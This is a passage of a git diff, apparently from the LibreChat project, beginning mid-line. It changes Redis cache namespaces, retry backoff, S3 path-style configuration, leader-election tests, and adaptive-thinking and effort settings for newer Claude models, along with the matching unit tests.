= standardCache(CacheKeys.CONFIG_STORE); + expect(MockKeyvRedis).not.toHaveBeenCalled(); + expect(configCache).toBeDefined(); + + const appConfigCache = standardCache(CacheKeys.APP_CONFIG); + expect(MockKeyvRedis).not.toHaveBeenCalled(); + expect(appConfigCache).toBeDefined(); + + const toolCache = standardCache(CacheKeys.TOOL_CACHE); + expect(MockKeyvRedis).toHaveBeenCalledTimes(1); + expect(MockKeyvRedis).toHaveBeenCalledWith(mockKeyvRedisClient); + expect(toolCache).toBeDefined(); + }); + + it('CONFIG_STORE and TOOL_CACHE should be independent stores', async () => { + jest.doMock('../../cacheConfig', () => ({ + cacheConfig: { + FORCED_IN_MEMORY_CACHE_NAMESPACES: [CacheKeys.CONFIG_STORE], + REDIS_KEY_PREFIX: '', + GLOBAL_PREFIX_SEPARATOR: '>>', + }, + })); + + const { standardCache } = await import('../../cacheFactory'); + + const configCache = standardCache(CacheKeys.CONFIG_STORE); + const toolCache = standardCache(CacheKeys.TOOL_CACHE); + + await configCache.set('STARTUP_CONFIG', { version: 'v2-green' }); + await toolCache.set('tools:global', { myTool: { type: 'function' } }); + + expect(await configCache.get('STARTUP_CONFIG')).toEqual({ version: 'v2-green' }); + expect(await configCache.get('tools:global')).toBeUndefined(); + + expect(await toolCache.get('STARTUP_CONFIG')).toBeUndefined(); + }); + + it('should use Redis for all namespaces when nothing is forced in-memory', async () => { + jest.doMock('../../cacheConfig', () => ({ + cacheConfig: { + FORCED_IN_MEMORY_CACHE_NAMESPACES: [], + REDIS_KEY_PREFIX: '', + GLOBAL_PREFIX_SEPARATOR: '>>', + }, + })); + + const { standardCache } = await import('../../cacheFactory'); + + MockKeyvRedis.mockClear(); + + standardCache(CacheKeys.CONFIG_STORE); + standardCache(CacheKeys.TOOL_CACHE); + standardCache(CacheKeys.APP_CONFIG); + + expect(MockKeyvRedis).toHaveBeenCalledTimes(3); + }); + + it('forcing TOOL_CACHE to in-memory should not affect CONFIG_STORE', async () => { + jest.doMock('../../cacheConfig', () => ({ + cacheConfig: { + FORCED_IN_MEMORY_CACHE_NAMESPACES: [CacheKeys.TOOL_CACHE], + REDIS_KEY_PREFIX: '', + GLOBAL_PREFIX_SEPARATOR: '>>', + }, + })); + + const { standardCache } = await import('../../cacheFactory'); + + MockKeyvRedis.mockClear(); + + standardCache(CacheKeys.TOOL_CACHE); + expect(MockKeyvRedis).not.toHaveBeenCalled(); + + standardCache(CacheKeys.CONFIG_STORE); + expect(MockKeyvRedis).toHaveBeenCalledTimes(1); + }); +}); diff --git a/packages/api/src/cache/__tests__/cacheFactory/violationCache.cache_integration.spec.ts b/packages/api/src/cache/__tests__/cacheFactory/violationCache.cache_integration.spec.ts index 989008e82e..1978620c24 100644 --- a/packages/api/src/cache/__tests__/cacheFactory/violationCache.cache_integration.spec.ts +++ b/packages/api/src/cache/__tests__/cacheFactory/violationCache.cache_integration.spec.ts @@ -20,6 +20,24 @@ interface ViolationData { }; } +/** Waits for both Redis clients (ioredis + keyv/node-redis) to be ready */ +async function waitForRedisClients() { + const redisClients = await import('../../redisClients'); + const { ioredisClient, keyvRedisClientReady } = redisClients; + + if (ioredisClient && ioredisClient.status !== 'ready') { + await new Promise((resolve) => { + ioredisClient.once('ready', resolve); + }); + } + + if (keyvRedisClientReady) { + await keyvRedisClientReady; + } + + return redisClients; +} + describe('violationCache', () => { let originalEnv: NodeJS.ProcessEnv; @@ -45,17 +63,9 @@ describe('violationCache', () => { test('should create violation cache with Redis when USE_REDIS is true', async () => { const cacheFactory = await import('../../cacheFactory'); - const redisClients = await import('../../redisClients'); - const { ioredisClient } = redisClients; + await waitForRedisClients(); const cache = cacheFactory.violationCache('test-violations', 60000); // 60 second TTL - // Wait for Redis connection to be ready - if (ioredisClient && ioredisClient.status !== 'ready') { - await new Promise((resolve) => { - ioredisClient.once('ready', resolve); - }); - } - // Verify it returns a Keyv instance expect(cache).toBeDefined(); expect(cache.constructor.name).toBe('Keyv'); @@ -112,18 +122,10 @@ describe('violationCache', () => { test('should respect namespace prefixing', async () => { const cacheFactory = await import('../../cacheFactory'); - const redisClients = await import('../../redisClients'); - const { ioredisClient } = redisClients; + await waitForRedisClients(); const cache1 = cacheFactory.violationCache('namespace1'); const cache2 = cacheFactory.violationCache('namespace2'); - // Wait for Redis connection to be ready - if (ioredisClient && ioredisClient.status !== 'ready') { - await new Promise((resolve) => { - ioredisClient.once('ready', resolve); - }); - } - const testKey = 'shared-key'; const value1: ViolationData = { namespace: 1 }; const value2: ViolationData = { namespace: 2 }; @@ -146,18 +148,10 @@ describe('violationCache', () => { test('should respect TTL settings', async () => { const cacheFactory = await import('../../cacheFactory'); - const redisClients = await import('../../redisClients'); - const { ioredisClient } = redisClients; + await waitForRedisClients(); const ttl = 1000; // 1 second TTL const cache = cacheFactory.violationCache('ttl-test', ttl); - // Wait for Redis connection to be ready - if (ioredisClient && ioredisClient.status !== 'ready') { - await new Promise((resolve) => { - ioredisClient.once('ready', resolve); - }); - } - const testKey = 'ttl-key'; const testValue: ViolationData = { data: 'expires soon' }; @@ -178,17 +172,9 @@ describe('violationCache', () => { test('should handle complex violation data structures', async () => { const cacheFactory = await import('../../cacheFactory'); - const redisClients = await import('../../redisClients'); - const { ioredisClient } = redisClients; + await waitForRedisClients(); const cache = cacheFactory.violationCache('complex-violations'); - // Wait for Redis connection to be ready - if (ioredisClient && ioredisClient.status !== 'ready') { - await new Promise((resolve) => { - ioredisClient.once('ready', resolve); - }); - } - const complexData: ViolationData = { userId: 'user123', violations: [ diff --git a/packages/api/src/cache/cacheConfig.ts b/packages/api/src/cache/cacheConfig.ts index 32ea2cddd1..0d4304f5c3 100644 --- a/packages/api/src/cache/cacheConfig.ts +++ b/packages/api/src/cache/cacheConfig.ts @@ -27,9 +27,14 @@ const USE_REDIS_STREAMS = // Comma-separated list of cache namespaces that should be forced to use in-memory storage // even when Redis is enabled. This allows selective performance optimization for specific caches. -const FORCED_IN_MEMORY_CACHE_NAMESPACES = process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES - ? process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES.split(',').map((key) => key.trim()) - : []; +// Defaults to CONFIG_STORE,APP_CONFIG so YAML-derived config stays per-container. +// Set to empty string to force all namespaces through Redis. +const FORCED_IN_MEMORY_CACHE_NAMESPACES = + process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES !== undefined + ? process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES.split(',') + .map((key) => key.trim()) + .filter(Boolean) + : [CacheKeys.CONFIG_STORE, CacheKeys.APP_CONFIG]; // Validate against CacheKeys enum if (FORCED_IN_MEMORY_CACHE_NAMESPACES.length > 0) { diff --git a/packages/api/src/cache/cacheFactory.ts b/packages/api/src/cache/cacheFactory.ts index 9b59afe554..2d7817c2ad 100644 --- a/packages/api/src/cache/cacheFactory.ts +++ b/packages/api/src/cache/cacheFactory.ts @@ -120,7 +120,9 @@ export const limiterCache = (prefix: string): RedisStore | undefined => { if (!cacheConfig.USE_REDIS) { return undefined; } - // TODO: The prefix is not actually applied. Also needs to account for global prefix. + // Note: The `prefix` is applied by RedisStore internally to its key operations. + // The global REDIS_KEY_PREFIX is applied by ioredisClient's keyPrefix setting. + // Combined key format: `{REDIS_KEY_PREFIX}::{prefix}{identifier}` prefix = prefix.endsWith(':') ? prefix : `${prefix}:`; try { diff --git a/packages/api/src/cache/redisClients.ts b/packages/api/src/cache/redisClients.ts index 79489336c4..fca4365f7f 100644 --- a/packages/api/src/cache/redisClients.ts +++ b/packages/api/src/cache/redisClients.ts @@ -29,7 +29,9 @@ if (cacheConfig.USE_REDIS) { ); return null; } - const delay = Math.min(times * 50, cacheConfig.REDIS_RETRY_MAX_DELAY); + const base = Math.min(Math.pow(2, times) * 50, cacheConfig.REDIS_RETRY_MAX_DELAY); + const jitter = Math.floor(Math.random() * Math.min(base, 1000)); + const delay = Math.min(base + jitter, cacheConfig.REDIS_RETRY_MAX_DELAY); logger.info(`ioredis reconnecting... attempt ${times}, delay ${delay}ms`); return delay; }, @@ -71,7 +73,9 @@ if (cacheConfig.USE_REDIS) { ); return null; } - const delay = Math.min(times * 100, cacheConfig.REDIS_RETRY_MAX_DELAY); + const base = Math.min(Math.pow(2, times) * 100, cacheConfig.REDIS_RETRY_MAX_DELAY); + const jitter = Math.floor(Math.random() * Math.min(base, 1000)); + const delay = Math.min(base + jitter, cacheConfig.REDIS_RETRY_MAX_DELAY); logger.info(`ioredis cluster reconnecting... attempt ${times}, delay ${delay}ms`); return delay; }, @@ -149,7 +153,9 @@ if (cacheConfig.USE_REDIS) { ); return new Error('Max reconnection attempts reached'); } - const delay = Math.min(retries * 100, cacheConfig.REDIS_RETRY_MAX_DELAY); + const base = Math.min(Math.pow(2, retries) * 100, cacheConfig.REDIS_RETRY_MAX_DELAY); + const jitter = Math.floor(Math.random() * Math.min(base, 1000)); + const delay = Math.min(base + jitter, cacheConfig.REDIS_RETRY_MAX_DELAY); logger.info(`@keyv/redis reconnecting... attempt ${retries}, delay ${delay}ms`); return delay; }, diff --git a/packages/api/src/cdn/__tests__/s3.test.ts b/packages/api/src/cdn/__tests__/s3.test.ts new file mode 100644 index 0000000000..048c652a45 --- /dev/null +++ b/packages/api/src/cdn/__tests__/s3.test.ts @@ -0,0 +1,123 @@ +import type { S3Client } from '@aws-sdk/client-s3'; + +const mockLogger = { info: jest.fn(), error: jest.fn() }; + +jest.mock('@aws-sdk/client-s3', () => ({ + S3Client: jest.fn(), +})); + +jest.mock('@librechat/data-schemas', () => ({ + logger: mockLogger, +})); + +describe('initializeS3', () => { + const REQUIRED_ENV = { + AWS_REGION: 'us-east-1', + AWS_BUCKET_NAME: 'test-bucket', + AWS_ACCESS_KEY_ID: 'test-key-id', + AWS_SECRET_ACCESS_KEY: 'test-secret', + }; + + beforeEach(() => { + jest.resetModules(); + jest.clearAllMocks(); + Object.assign(process.env, REQUIRED_ENV); + delete process.env.AWS_ENDPOINT_URL; + delete process.env.AWS_FORCE_PATH_STYLE; + }); + + afterEach(() => { + for (const key of Object.keys(REQUIRED_ENV)) { + delete process.env[key]; + } + delete process.env.AWS_ENDPOINT_URL; + delete process.env.AWS_FORCE_PATH_STYLE; + }); + + async function load() { + const { S3Client: MockS3Client } = jest.requireMock('@aws-sdk/client-s3') as { + S3Client: jest.MockedClass; + }; + const { initializeS3 } = await import('../s3'); + return { MockS3Client, initializeS3 }; + } + + it('should initialize with region and credentials', async () => { + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + expect(MockS3Client).toHaveBeenCalledWith( + expect.objectContaining({ + region: 'us-east-1', + credentials: { accessKeyId: 'test-key-id', secretAccessKey: 'test-secret' }, + }), + ); + }); + + it('should include endpoint when AWS_ENDPOINT_URL is set', async () => { + process.env.AWS_ENDPOINT_URL = 'https://fsn1.your-objectstorage.com'; + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + expect(MockS3Client).toHaveBeenCalledWith( + expect.objectContaining({ endpoint: 'https://fsn1.your-objectstorage.com' }), + ); + }); + + it('should not include endpoint when AWS_ENDPOINT_URL is not set', async () => { + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + const config = MockS3Client.mock.calls[0][0] as Record; + expect(config).not.toHaveProperty('endpoint'); + }); + + it('should set forcePathStyle when AWS_FORCE_PATH_STYLE is true', async () => { + process.env.AWS_FORCE_PATH_STYLE = 'true'; + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + expect(MockS3Client).toHaveBeenCalledWith(expect.objectContaining({ forcePathStyle: true })); + }); + + it('should not set forcePathStyle when AWS_FORCE_PATH_STYLE is false', async () => { + process.env.AWS_FORCE_PATH_STYLE = 'false'; + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + const config = MockS3Client.mock.calls[0][0] as Record; + expect(config).not.toHaveProperty('forcePathStyle'); + }); + + it('should not set forcePathStyle when AWS_FORCE_PATH_STYLE is not set', async () => { + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + const config = MockS3Client.mock.calls[0][0] as Record; + expect(config).not.toHaveProperty('forcePathStyle'); + }); + + it('should return null and log error when AWS_REGION is not set', async () => { + delete process.env.AWS_REGION; + const { initializeS3 } = await load(); + const result = initializeS3(); + expect(result).toBeNull(); + expect(mockLogger.error).toHaveBeenCalledWith( + '[initializeS3] AWS_REGION is not set. Cannot initialize S3.', + ); + }); + + it('should return the same instance on subsequent calls', async () => { + const { MockS3Client, initializeS3 } = await load(); + const first = initializeS3(); + const second = initializeS3(); + expect(first).toBe(second); + expect(MockS3Client).toHaveBeenCalledTimes(1); + }); + + it('should use default credentials chain when keys are not provided', async () => { + delete process.env.AWS_ACCESS_KEY_ID; + delete process.env.AWS_SECRET_ACCESS_KEY; + const { MockS3Client, initializeS3 } = await load(); + initializeS3(); + const config = MockS3Client.mock.calls[0][0] as Record; + expect(config).not.toHaveProperty('credentials'); + expect(mockLogger.info).toHaveBeenCalledWith( + '[initializeS3] S3 initialized using default credentials (IRSA).', + ); + }); +}); diff --git a/packages/api/src/cdn/s3.ts b/packages/api/src/cdn/s3.ts index 683a7887fa..f6f8527ce4 100644 --- a/packages/api/src/cdn/s3.ts +++ b/packages/api/src/cdn/s3.ts @@ -1,5 +1,6 @@ import { S3Client } from '@aws-sdk/client-s3'; import { logger } from '@librechat/data-schemas'; +import { isEnabled } from '~/utils/common'; let s3: S3Client | null = null; @@ -31,8 +32,8 @@ export const initializeS3 = (): S3Client | null => { const config = { region, - // Conditionally add the endpoint if it is provided ...(endpoint ? { endpoint } : {}), + ...(isEnabled(process.env.AWS_FORCE_PATH_STYLE) ? { forcePathStyle: true } : {}), }; if (accessKeyId && secretAccessKey) { diff --git a/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts b/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts index b37c291880..f1558db795 100644 --- a/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts +++ b/packages/api/src/cluster/__tests__/LeaderElection.cache_integration.spec.ts @@ -32,14 +32,22 @@ describe('LeaderElection with Redis', () => { process.setMaxListeners(200); }); - afterEach(async () => { - await Promise.all(instances.map((instance) => instance.resign())); - instances = []; - - // Clean up: clear the leader key directly from Redis + beforeEach(async () => { if (keyvRedisClient) { await keyvRedisClient.del(LeaderElection.LEADER_KEY); } + new LeaderElection().clearRefreshTimer(); + }); + + afterEach(async () => { + try { + await Promise.all(instances.map((instance) => instance.resign())); + } finally { + instances = []; + if (keyvRedisClient) { + await keyvRedisClient.del(LeaderElection.LEADER_KEY); + } + } }); afterAll(async () => { @@ -49,39 +57,24 @@ describe('LeaderElection with Redis', () => { }); describe('Test Case 1: Simulate shutdown of the leader', () => { - it('should elect a new leader after the current leader resigns', async () => { - // Create 100 instances - instances = Array.from({ length: 100 }, () => new LeaderElection()); + it('should allow an instance to re-elect itself after resignation', async () => { + const instance = new LeaderElection(); + instances.push(instance); - // Call isLeader on all instances and get leadership status - const resultsWithInstances = await Promise.all( - instances.map(async (instance) => ({ - instance, - isLeader: await instance.isLeader(), - })), - ); - - // Find leader and followers - const leaders = resultsWithInstances.filter((r) => r.isLeader); - const followers = resultsWithInstances.filter((r) => !r.isLeader); - const leader = leaders[0].instance; - const nextLeader = followers[0].instance; - - // Verify only one is leader - expect(leaders.length).toBe(1); - - // Verify getLeaderUUID matches the leader's UUID - expect(await LeaderElection.getLeaderUUID()).toBe(leader.UUID); + // Instance becomes leader + expect(await instance.isLeader()).toBe(true); + expect(await LeaderElection.getLeaderUUID()).toBe(instance.UUID); // Leader resigns - await leader.resign(); + await instance.resign(); - // Verify getLeaderUUID returns null after resignation + // Verify leadership key is cleared after resignation expect(await LeaderElection.getLeaderUUID()).toBeNull(); - // Next instance to call isLeader should become the new leader - expect(await nextLeader.isLeader()).toBe(true); - }, 30000); // 30 second timeout for 100 instances + // Instance can re-elect itself after resignation + expect(await instance.isLeader()).toBe(true); + expect(await LeaderElection.getLeaderUUID()).toBe(instance.UUID); + }, 15000); }); describe('Test Case 2: Simulate crash of the leader', () => { diff --git a/packages/api/src/endpoints/anthropic/helpers.ts b/packages/api/src/endpoints/anthropic/helpers.ts index 0596c1efcc..d33116a2ac 100644 --- a/packages/api/src/endpoints/anthropic/helpers.ts +++ b/packages/api/src/endpoints/anthropic/helpers.ts @@ -1,6 +1,12 @@ import { logger } from '@librechat/data-schemas'; import { AnthropicClientOptions } from '@librechat/agents'; -import { EModelEndpoint, anthropicSettings } from 'librechat-data-provider'; +import { + EModelEndpoint, + AnthropicEffort, + anthropicSettings, + supportsContext1m, + supportsAdaptiveThinking, +} from 'librechat-data-provider'; import { matchModelName } from '~/utils/tokens'; /** @@ -48,7 +54,7 @@ function getClaudeHeaders( return { 'anthropic-beta': 'token-efficient-tools-2025-02-19,output-128k-2025-02-19', }; - } else if (/claude-sonnet-4/.test(model)) { + } else if (supportsContext1m(model)) { return { 'anthropic-beta': 'context-1m-2025-08-07', }; @@ -58,25 +64,43 @@ function getClaudeHeaders( } /** - * Configures reasoning-related options for Claude models - * @param {AnthropicClientOptions & { max_tokens?: number }} anthropicInput The request options object - * @param {Object} extendedOptions Additional client configuration options - * @param {boolean} extendedOptions.thinking Whether thinking is enabled in client config - * @param {number|null} extendedOptions.thinkingBudget The token budget for thinking - * @returns {Object} Updated request options + * Configures reasoning-related options for Claude models. + * Models supporting adaptive thinking (Opus 4.6+, Sonnet 4.6+) use effort control instead of manual budget_tokens. */ function configureReasoning( anthropicInput: AnthropicClientOptions & { max_tokens?: number }, - extendedOptions: { thinking?: boolean; thinkingBudget?: number | null } = {}, + extendedOptions: { + thinking?: boolean; + thinkingBudget?: number | null; + effort?: AnthropicEffort | string | null; + } = {}, ): AnthropicClientOptions & { max_tokens?: number } { const updatedOptions = { ...anthropicInput }; const currentMaxTokens = updatedOptions.max_tokens ?? updatedOptions.maxTokens; + const modelName = updatedOptions.model ?? ''; + + if (extendedOptions.thinking && modelName && supportsAdaptiveThinking(modelName)) { + updatedOptions.thinking = { type: 'adaptive' }; + + const effort = extendedOptions.effort; + if (effort && effort !== AnthropicEffort.unset) { + updatedOptions.invocationKwargs = { + ...updatedOptions.invocationKwargs, + output_config: { effort }, + }; + } + + if (currentMaxTokens == null) { + updatedOptions.max_tokens = anthropicSettings.maxOutputTokens.reset(modelName); + } + + return updatedOptions; + } if ( extendedOptions.thinking && - updatedOptions?.model && - (/claude-3[-.]7/.test(updatedOptions.model) || - /claude-(?:sonnet|opus|haiku)-[4-9]/.test(updatedOptions.model)) + modelName && + (/claude-3[-.]7/.test(modelName) || /claude-(?:sonnet|opus|haiku)-[4-9]/.test(modelName)) ) { updatedOptions.thinking = { ...updatedOptions.thinking, @@ -100,7 +124,7 @@ function configureReasoning( updatedOptions.thinking.type === 'enabled' && (currentMaxTokens == null || updatedOptions.thinking.budget_tokens > currentMaxTokens) ) { - const maxTokens = anthropicSettings.maxOutputTokens.reset(updatedOptions.model ?? ''); + const maxTokens = anthropicSettings.maxOutputTokens.reset(modelName); updatedOptions.max_tokens = currentMaxTokens ?? maxTokens; logger.warn( @@ -111,11 +135,11 @@ function configureReasoning( updatedOptions.thinking.budget_tokens = Math.min( updatedOptions.thinking.budget_tokens, - Math.floor(updatedOptions.max_tokens * 0.9), + Math.floor((updatedOptions.max_tokens ?? 0) * 0.9), ); } return updatedOptions; } -export { checkPromptCacheSupport, getClaudeHeaders, configureReasoning }; +export { checkPromptCacheSupport, getClaudeHeaders, configureReasoning, supportsAdaptiveThinking }; diff --git a/packages/api/src/endpoints/anthropic/initialize.ts b/packages/api/src/endpoints/anthropic/initialize.ts index 58237b9604..8bebd8467b 100644 --- a/packages/api/src/endpoints/anthropic/initialize.ts +++ b/packages/api/src/endpoints/anthropic/initialize.ts @@ -77,13 +77,11 @@ export async function initializeAnthropic({ ...(vertexConfig && { vertexConfig }), }; - /** @type {undefined | TBaseEndpoint} */ const anthropicConfig = appConfig?.endpoints?.[EModelEndpoint.anthropic]; const allConfig = appConfig?.endpoints?.all; const result = getLLMConfig(credentials, clientOptions); - // Apply stream rate delay if (anthropicConfig?.streamRate) { (result.llmConfig as Record)._lc_stream_delay = anthropicConfig.streamRate; } diff --git a/packages/api/src/endpoints/anthropic/llm.spec.ts b/packages/api/src/endpoints/anthropic/llm.spec.ts index c15d5445ed..b945eacb34 100644 --- a/packages/api/src/endpoints/anthropic/llm.spec.ts +++ b/packages/api/src/endpoints/anthropic/llm.spec.ts @@ -1,5 +1,6 @@ -import { getLLMConfig } from './llm'; +import { AnthropicEffort } from 'librechat-data-provider'; import type * as t from '~/types'; +import { getLLMConfig } from './llm'; jest.mock('https-proxy-agent', () => ({ HttpsProxyAgent: jest.fn().mockImplementation((proxy) => ({ proxy })), @@ -120,6 +121,39 @@ describe('getLLMConfig', () => { }); }); + it('should add "context-1m" beta header for claude-sonnet-4-6 model', () => { + const modelOptions = { + model: 'claude-sonnet-4-6', + promptCache: true, + }; + const result = getLLMConfig('test-key', { modelOptions }); + const clientOptions = result.llmConfig.clientOptions; + expect(clientOptions?.defaultHeaders).toBeDefined(); + expect(clientOptions?.defaultHeaders).toHaveProperty('anthropic-beta'); + const defaultHeaders = clientOptions?.defaultHeaders as Record; + expect(defaultHeaders['anthropic-beta']).toBe('context-1m-2025-08-07'); + expect(result.llmConfig.promptCache).toBe(true); + }); + + it('should add "context-1m" beta header for claude-sonnet-4-6 model formats', () => { + const modelVariations = [ + 'claude-sonnet-4-6', + 'claude-sonnet-4-6-20260101', + 'anthropic/claude-sonnet-4-6', + ]; + + modelVariations.forEach((model) => { + const modelOptions = { model, promptCache: true }; + const result = getLLMConfig('test-key', { modelOptions }); + const clientOptions = result.llmConfig.clientOptions; + expect(clientOptions?.defaultHeaders).toBeDefined(); + expect(clientOptions?.defaultHeaders).toHaveProperty('anthropic-beta'); + const defaultHeaders = clientOptions?.defaultHeaders as Record; + expect(defaultHeaders['anthropic-beta']).toBe('context-1m-2025-08-07'); + expect(result.llmConfig.promptCache).toBe(true); + }); + }); + it('should pass promptCache boolean for claude-opus-4-5 model (no beta header needed)', () => { const modelOptions = { model: 'claude-opus-4-5', @@ -835,13 +869,19 @@ describe('getLLMConfig', () => { expect(result.llmConfig.maxTokens).toBe(32000); }); - // opus-4-5+ get 64K - const opus64kModels = ['claude-opus-4-5', 'claude-opus-4-7', 'claude-opus-4-10']; - opus64kModels.forEach((model) => { + // opus-4-5 gets 64K + const opus64kResult = getLLMConfig('test-key', { + modelOptions: { model: 'claude-opus-4-5' }, + }); + expect(opus64kResult.llmConfig.maxTokens).toBe(64000); + + // opus-4-6+ get 128K + const opus128kModels = ['claude-opus-4-7', 'claude-opus-4-10']; + opus128kModels.forEach((model) => { const result = getLLMConfig('test-key', { modelOptions: { model }, }); - expect(result.llmConfig.maxTokens).toBe(64000); + expect(result.llmConfig.maxTokens).toBe(128000); }); }); @@ -910,6 +950,171 @@ describe('getLLMConfig', () => { expect(result.llmConfig.maxTokens).toBe(32000); }); + it('should use adaptive thinking for Opus 4.6 instead of enabled + budget_tokens', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-opus-4-6', + thinking: true, + thinkingBudget: 10000, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig.thinking).not.toHaveProperty('budget_tokens'); + expect(result.llmConfig.maxTokens).toBe(128000); + }); + + it('should set effort via output_config for adaptive thinking models', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-opus-4-6', + thinking: true, + effort: AnthropicEffort.medium, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig.invocationKwargs).toHaveProperty('output_config'); + expect(result.llmConfig.invocationKwargs?.output_config).toEqual({ + effort: AnthropicEffort.medium, + }); + }); + + it('should set effort via output_config even without thinking for adaptive models', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-opus-4-6', + thinking: false, + effort: AnthropicEffort.low, + }, + }); + + expect(result.llmConfig.thinking).toBeUndefined(); + expect(result.llmConfig.invocationKwargs).toHaveProperty('output_config'); + expect(result.llmConfig.invocationKwargs?.output_config).toEqual({ + effort: AnthropicEffort.low, + }); + }); + + it('should use adaptive thinking for Sonnet 4.6 instead of enabled + budget_tokens', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-sonnet-4-6', + thinking: true, + thinkingBudget: 10000, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig.thinking).not.toHaveProperty('budget_tokens'); + expect(result.llmConfig.maxTokens).toBe(64000); + }); + + it('should set effort via output_config for Sonnet 4.6', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-sonnet-4-6', + thinking: true, + effort: AnthropicEffort.high, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig.invocationKwargs).toHaveProperty('output_config'); + expect(result.llmConfig.invocationKwargs?.output_config).toEqual({ + effort: AnthropicEffort.high, + }); + }); + + it('should exclude topP/topK for Sonnet 4.6 with adaptive thinking', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-sonnet-4-6', + thinking: true, + topP: 0.9, + topK: 40, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig).not.toHaveProperty('topP'); + expect(result.llmConfig).not.toHaveProperty('topK'); + }); + + it('should NOT set adaptive thinking or effort for non-adaptive models', () => { + const nonAdaptiveModels = [ + 'claude-opus-4-5', + 'claude-opus-4-1', + 'claude-sonnet-4-5', + 'claude-sonnet-4', + 'claude-haiku-4-5', + ]; + + nonAdaptiveModels.forEach((model) => { + const result = getLLMConfig('test-key', { + modelOptions: { + model, + thinking: true, + thinkingBudget: 10000, + effort: AnthropicEffort.medium, + }, + }); + + if (result.llmConfig.thinking != null) { + expect((result.llmConfig.thinking as unknown as { type: string }).type).not.toBe( + 'adaptive', + ); + } + expect(result.llmConfig.invocationKwargs?.output_config).toBeUndefined(); + }); + }); + + it('should strip adaptive thinking if it somehow reaches a non-adaptive model', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-sonnet-4-5', + thinking: true, + thinkingBudget: 5000, + }, + }); + + expect(result.llmConfig.thinking).toMatchObject({ + type: 'enabled', + budget_tokens: 5000, + }); + expect(result.llmConfig.invocationKwargs?.output_config).toBeUndefined(); + }); + + it('should exclude topP/topK for Opus 4.6 with adaptive thinking', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-opus-4-6', + thinking: true, + topP: 0.9, + topK: 40, + }, + }); + + expect((result.llmConfig.thinking as unknown as { type: string }).type).toBe('adaptive'); + expect(result.llmConfig).not.toHaveProperty('topP'); + expect(result.llmConfig).not.toHaveProperty('topK'); + }); + + it('should include topP/topK for Opus 4.6 when thinking is disabled', () => { + const result = getLLMConfig('test-key', { + modelOptions: { + model: 'claude-opus-4-6', + thinking: false, + topP: 0.9, + topK: 40, + }, + }); + + expect(result.llmConfig.thinking).toBeUndefined(); + expect(result.llmConfig).toHaveProperty('topP', 0.9); + expect(result.llmConfig).toHaveProperty('topK', 40); + }); + it('should respect model-specific maxOutputTokens for Claude 4.x models', () => { const testCases = [ { model: 'claude-sonnet-4-5', maxOutputTokens: 50000, expected: 50000 }, @@ -960,7 +1165,7 @@ describe('getLLMConfig', () => { }); }); - it('should future-proof Claude 5.x Opus models with 64K default', () => { + it('should future-proof Claude 5.x Opus models with 128K default', () => { const testCases = [ 'claude-opus-5', 'claude-opus-5-0', @@ -972,28 +1177,28 @@ describe('getLLMConfig', () => { const result = getLLMConfig('test-key', { modelOptions: { model }, }); - expect(result.llmConfig.maxTokens).toBe(64000); + expect(result.llmConfig.maxTokens).toBe(128000); }); }); it('should future-proof Claude 6-9.x models with correct defaults', () => { const testCases = [ - // Claude 6.x - All get 64K since they're version 5+ + // Claude 6.x - Sonnet/Haiku get 64K, Opus gets 128K { model: 'claude-sonnet-6', expected: 64000 }, { model: 'claude-haiku-6-0', expected: 64000 }, - { model: 'claude-opus-6-1', expected: 64000 }, // opus 6+ gets 64K + { model: 'claude-opus-6-1', expected: 128000 }, // Claude 7.x { model: 'claude-sonnet-7-20270101', expected: 64000 }, { model: 'claude-haiku-7.5', expected: 64000 }, - { model: 'claude-opus-7', expected: 64000 }, // opus 7+ gets 64K + { model: 'claude-opus-7', expected: 128000 }, // Claude 8.x { model: 'claude-sonnet-8', expected: 64000 }, { model: 'claude-haiku-8-2', expected: 64000 }, - { model: 'claude-opus-8-latest', expected: 64000 }, // opus 8+ gets 64K + { model: 'claude-opus-8-latest', expected: 128000 }, // Claude 9.x { model: 'claude-sonnet-9', expected: 64000 }, { model: 'claude-haiku-9', expected: 64000 }, - { model: 'claude-opus-9', expected: 64000 }, // opus 9+ gets 64K + { model: 'claude-opus-9', expected: 128000 }, ]; testCases.forEach(({ model, expected }) => { diff --git a/packages/api/src/endpoints/anthropic/llm.ts b/packages/api/src/endpoints/anthropic/llm.ts index 34ec354365..d792adef4e 100644 --- a/packages/api/src/endpoints/anthropic/llm.ts +++ b/packages/api/src/endpoints/anthropic/llm.ts @@ -7,7 +7,12 @@ import type { AnthropicConfigOptions, AnthropicCredentials, } from '~/types/anthropic'; -import { checkPromptCacheSupport, getClaudeHeaders, configureReasoning } from './helpers'; +import { + supportsAdaptiveThinking, + checkPromptCacheSupport, + configureReasoning, + getClaudeHeaders, +} from './helpers'; import { createAnthropicVertexClient, isAnthropicVertexCredentials, @@ -83,15 +88,14 @@ function getLLMConfig( promptCache: options.modelOptions?.promptCache ?? anthropicSettings.promptCache.default, 